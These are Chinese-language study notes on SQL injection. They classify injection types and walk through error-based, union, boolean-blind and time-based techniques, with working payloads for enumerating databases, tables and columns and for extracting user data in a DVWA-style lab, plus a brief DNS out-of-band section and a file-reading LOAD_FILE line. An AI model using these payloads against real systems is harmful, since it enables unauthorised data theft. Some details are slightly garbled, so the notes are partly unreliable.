目录
SQL注入的类型:
-
挖掘技巧:报错注入、Union注入、布尔注入、时间注入、DNS注入
-
注入参数在HTTP请求位置:GET注入、POST注入、Cookie注入、Referer注入、User-Agent注入
-
存在语句的动词:SELECT注入、INSERT注入、DELETE注入、UPDATE注入
-
变量在语句中的位置:表名注入、条件(Where)注入、Order by注入、Limit注入
-
注入参数的查询类型和闭合符:整形注入、字符型注入、搜索型(like)注入、In注入、混合型注入
-
数据库的不同:MySQL注入、Oracle注入、Access注入、SQL Server注入、MyBatis注入、DB2注入、PostgresSQL注入
-
因对抗转移机制而产生:宽字节注入、二次注入
-
注入回显不同:显注、盲注、二阶注入
报错注入
在实际场景中,如果没有一台合适的数据返回点,而是仅仅带入数据库进行查询,就需要报错注入
报错注入既是一种注入检测方法,同时也是利用SQL注入读取数据的方法,回显报错注入有
-
Duplicate entry()
-
extractvalue():此函数从目标xml中返回包含所有查询值的字符串
and extractvalue(null,concat(0x7e,(sql-inject),0x7e))
0x7e:~
利用这种方式对后台进行排序,指定第一个参数为null,让其故意报错,将第二个参数中的语句带入数据库执行,最后显示执行的结果
-
updatexml():是一个使用不同的xml标记匹配和替换xml块的函数
and 1=(updatexml(1,concat(0x7e,(sql-inject)),1))
这个函数是用来更新xml数据的,但是我们非法传参,令其故意报错,执行sql语句
-
floor报错:因为\rand函数进行分组group by和统计count时可能会多次执行,导致key键值重复,于是便会报错
select count(*),concat('~',(select(database()),floor(rand(0)*2) as benben from users group by benben);
涉及到的函数:
-
rand():随机返回0~1间的小数
-
floor():小数向下取整
-
ceiling():小数向上取整
-
concat_ws():将括号内数据用第一个字段连接起来
-
as:别名
-
count():汇总统计数量
-
limit():显示指定行数
-
-
基于报错的SQL注入检测方法
作为检测方法,攻击者在判断一个参数是否存在SQL注入漏洞时,会尝试拼接单引号、反斜杠字符,而此时原本正常闭合的语句打破,最后形成一个未闭合的语句。证明攻击者拼接的起作用,这个位置是具有SQL注入漏洞的
-
基于报错的SQL注入攻击
通过报错回显将目标数据打印在网页上。
优点:发送请求数量少,数据获取直观,不受网络波动等其他因素的干扰
缺点:对数据类型和版本依赖度强
union注入
union注入即为用union联合查询来查询指定的数据,需要根据每一步返回的结果来判断和进行下一步操作。联合查询的语句结构基本为:
select a from b union select c from d where e;
union会一次显示两个查询结果,使第一个查询语句作为正常内容,第二个作为查询语句来进行构造。
-
判断是否有注入点(判断类型)
-
传入的参数是否可控
-
传入的参数能否在数据库执行
-
数字类型判断
-
加单引号
-
加and 1=1
-
加and 1=2
-
-
字符型判断
-
加单引号
-
输入x' and '1'='1'
-
输入x' and '1'='2'
-
-
-
判断字段数
-
union有严格的约束条件,必须保持字段数一致
-
使用order by number判断有多少个字段
-
-
判断回显点
-
即判断在哪个字段会输出有效信息
# 第一种写法:1' union select 1,2,3,...... limit 1,1 --+ # 第二种写法:-1' union select 1,2,3,...... --+
*limit n,m指从第n个开始显示m个内容
*使id=-1直接使查询结果为空,这样就不会占用第0行
-
直到回显字段后,就可以把SQL语句写在该位置,相应的结果也会输出
-
-
获得数据库
-
在回显的位置输入database()可获得当前数据库名
-
可以使用group_concat()将所有的内容写入一行输出
-
-
获得表名
(select group_concat(table_name) from information_schema.tables where table_schema='xxx' )
-
获得字段名
> -1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘xxx’ and table_name=‘xxx’) --+
即为查询xxx库下的xxx中的所有字段,column_name为字段/列表名
-
查数据
综合上述六步,在获得库名、表名、字段名后,在可以回显的位置输入SQL语句进行数据查询即可
布尔注入
当一个页面存在注入,没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常进行判断进行SQL注入
-
基于布尔的SQL注入检测
最简单的就是使用“and 1=1”和“and 1=2”,如果会被防火墙或自身逻辑拦截,可以尝试等价方法来变换payload,无论是采用哪种payload,最终要提交一个True和False语句,判断网页返回是否相同,从而来对比该位置是否存在SQL漏洞
-
基于布尔的SQL注入攻击
基于不二的SQL注入攻击,通常用于无回显点,又不能基于报错来读取数据的盲注中,所谓盲注就是网站不会给出任何直接的回显,而需要构造payload去探测
主要涉及到的函数:
函数 解释 length() 函数返回文本字段中值的长度 ord(string) 将string转换成十进制值 mid(string,a,b) 将string从a开始向后截取b个字符 limit n,m 你代表从n+1条记录行开始检索,m代表去除m条数据 ascii() 返回字符的ascii码 sleep() 将程序挂起一段时间 注入流程:
-
判断是否存在注入,是字符型还是数字型注入
-
猜解当前数据库名
1' and length(database())=3
-
猜解表名
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 显⽰不存在 1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 显⽰存在 注释: 原理是使用count()这个函数来判断table_name这个表的数量有几个 然后后面有一个where判断来指定是当前数据库 在末尾有一个 =1 ,意思是判断表有1个,正确那么页面返回正常,错误即返回不正常
-
猜解表名长度
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显⽰存在 注释: select table_name from information_schema.tables where table_schema=database() limit 0,1),1) 这条语句就是substr的str,要截取的字符 limit 0,1 这条语句是 limit 子句来限制查询的数量,具体格式是这样的: select * from tableName limit i,n tableName:表名 i:为查询结果的索引值(默认从0开始),当i=0时可省略i n:为查询结果返回的数量 i与n之间使用英文逗号","隔开 limit n 等同于 limit 0,n limit 0,1 默认0(i)就是从1开始
-
猜解表中的字段名
判断表名users的字段数量是否为8 1' and (select count(column_name) from information_schema.columns where table_name='users')=8 #
-
猜解数据
猜解 dvwa.users 表下的 user 列的第一个字段内容为:a 1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=97 # 猜解 dvwa.users 表下的 user 列的第二个字段内容为:d 1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=100 # 猜解 dvwa.users 表下的 user 列的第三个字段内容为:m 1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=109 # 猜解 dvwa.users 表下的 user 列的第四个字段内容为:i 1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=105 # 猜解 dvwa.users 表下的 user 列的第五个字段内容为:n 1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=110
-
从攻击过程看,基于布尔的盲注需要发送大量的请求,即使使用成熟的自动化并发工具也仍然要等待很长一段时间。攻击规律服从先获取结构,后获取数据,如果数据库存储的数据库很大,那么会有大量相似度极高的请求。
时间注入
基于时间的注入,顾名思义就是利用时间的长短来判断SQL注入点是否存在,根据时间长短来得到SQL语句执行结果是True还是False,通过判定是否延长来证明SQL注入漏洞是否存在
使用场景:时间盲注使用的优先级并不高,通常是联合注入、报错注入、布尔盲注都无法使用之后才会考虑
-
页面没有回显位置(联合注入无法使用)
-
页面不显示数据库的报错信息(报错注入无法使用)
-
无论是成功还是失败,页面只相应一种结果(布尔盲注无法使用)
时间盲注的弊端:
-
时间盲注的时间复杂度较高,需要消耗大量的时间
-
时间盲注容易受到网络波动等因素的影响,从而产生误差
*基于时间的SQL注入检测具有一定的不可控性,可能会带来数据库大量运算导致数据库拒绝服务,所以在测试时需要评估场景,谨慎小心
使用步骤:
-
判断注入点
?id=1 and if(1,sleep(5),3) -- a ?id=1' and if(1,sleep(5),3) -- a ?id=1" and if(1,sleep(5),3) -- a
*sleep的时间可以自定义,时间太长效率太低,时间太短不容易判断
-
判断长度
?id=1' and if((length(查询语句) =1), sleep(5), 3) -- a
如果页面响应时间超过5秒,说明长度判断正确
如果页面响应时间不超过5秒,说明长度判断错误,继续递增判断长度
-
枚举字符
?id=1' and if((ascii(substr(查询语句,1,1)) =1), sleep(5), 3) -- a
利用函数从查询结果中截取第一个字符,转换成ASSCII码后,从32开始判断,递增到126
*ASCII编码是一套基于拉丁字母的字符编码,共收录了128个字符,0~31及127是控制字符,不在文中显示;32~126是打印字符,可以在文本中显示。
DNS查询注入
DNSlog:就是DNS的日志,DNS在解析域名的时候会留下域名和解析IP的记录
DNS外带原理:就是通过DNS请求后,通过读取日志来获取我们的请求信息
DNSlog原理:攻击者通过在DNS解析过程中注入恶意的DNS记录,使请求的域名解析到攻击者设定的地址。
UNC路径:通用命名规则,类似\softer这样形式的网络路径。
注入需要的条件:secure_file_priv三种状态
-
当为null时,表示不允许导入导出
-
当指定文件夹时,表示MySQL的导入导出之恶能发生在指定的文件夹中
-
当没有设置时,则表示没有任何限制
SELECT * LOAD_FILE('/home/username/myfile.txt')